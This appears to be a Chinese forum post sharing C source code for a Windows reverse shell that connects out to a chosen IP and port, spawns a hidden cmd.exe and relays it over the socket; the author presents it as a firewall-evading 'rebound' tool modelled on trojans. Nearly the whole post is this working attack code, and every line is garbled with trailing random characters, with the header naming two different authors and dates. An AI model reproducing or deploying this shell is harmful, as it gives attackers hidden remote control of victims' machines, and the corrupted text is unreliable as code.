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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 cL"Ral-qB  
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/* ============================== Zh?n;n}  
Rebound port in Windows NT M@0S*[O{"  
By wind,2006/7 y!j>_m){w  
===============================*/ 9 Lqz:4}  
#include `EiL~*  
#include LBcqFvj{&  
3V]psZS  
#pragma comment(lib,"wsock32.lib") ;[|+tO_  
^SwU]e  
void OutputShell(); ikPr>  
SOCKET sClient; 7 S%`]M4;  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; % <h2^H\O  
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void main(int argc,char **argv) ldG$hk'  
{ w *o _s  
WSADATA stWsaData; t"6u  
int nRet; AP?m,nd6  
SOCKADDR_IN stSaiClient,stSaiServer; +H!aE}  
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if(argc != 3) \9} -5  
{ H#bu3*'  
printf("Useage:\n\rRebound DestIP DestPort\n"); FWS!b!#,N  
return; BkDq9>  
} RLDu5  
B^x}=Z4  
WSAStartup(MAKEWORD(2,2),&stWsaData); };cH5bYF  
S @)P#  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n$"B F\eM  
!,*Uvs@b  
stSaiClient.sin_family = AF_INET; r \} O{ZO  
stSaiClient.sin_port = htons(0); /(i~Hpp  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); M!\6Fl{ b  
"3?:,$*  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) jgw+c3^R_  
{ k6_OP]  
printf("Bind Socket Failed!\n"); QO|jdlg  
return; 4{" v  
} LM".]f!,  
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stSaiServer.sin_family = AF_INET; `iwGPG!  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); cty  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Aac7k m  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) J {\]ZPs  
{ W1O m$S1  
printf("Connect Error!"); @h7 i;Ok  
return; }i\_`~  
} JZD&u6tB   
OutputShell();  /?6  
} ;7!u(XzN  
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void OutputShell() By0Zz  
{ 8noo^QO  
char szBuff[1024]; xllmF)]*Y  
SECURITY_ATTRIBUTES stSecurityAttributes; 75']fFO@!  
OSVERSIONINFO stOsversionInfo; ?&.Eg^a"  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; hHsO?([99  
STARTUPINFO stStartupInfo; &s&Ha{(!w  
char *szShell; SwhArvS  
PROCESS_INFORMATION stProcessInformation; e\]CZ5hs3  
unsigned long lBytesRead; 0a)LZp|  
:?7^STc  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 6^nxw>-   
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); L4Si0 K  
stSecurityAttributes.lpSecurityDescriptor = 0; <9?`zo$y  
stSecurityAttributes.bInheritHandle = TRUE; 'S; l"  
vslN([@JR  
NW?h~2  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); XN'<H(G  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 97VS xhr  
6x! q  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); T- lHlm  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R6G%_,p$7  
stStartupInfo.wShowWindow = SW_HIDE; luO4ap]*  
stStartupInfo.hStdInput = hReadPipe; /I q6'oo  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; g U v`G  
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GetVersionEx(&stOsversionInfo); +*$@ K'VL  
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switch(stOsversionInfo.dwPlatformId) `,FvYA"  
{ ]N1gzHaS  
case 1: |_wbxdq  
szShell = "command.com"; 0bR})}a+Yg  
break; :FI 4GR*?  
default: p87VJ}  
szShell = "cmd.exe"; <(2,@_~@r  
break; M'ZA(LVp  
} %ZZW p%uf  
%|By ?i  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); gz"I=9  
JA^Y:@<{/  
send(sClient,szMsg,77,0); d##'0yg   
while(1) 62J -)~_  
{ BO-=X 78f@  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ^2!l/(?  
if(lBytesRead) N >+L?C  
{ \-)augq([  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); >*[Bq;  
send(sClient,szBuff,lBytesRead,0); 7_AcvsdW  
} 4[m4u6z=  
else EX,)MU  
{ +8q]O%B   
lBytesRead=recv(sClient,szBuff,1024,0); 5TcirVO82  
if(lBytesRead<=0) break; KN zm)O  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); P/hIJV[  
} ZG)%vB2c  
} u6u1>  
h8tKYm  
return; +"2IQme5  
}
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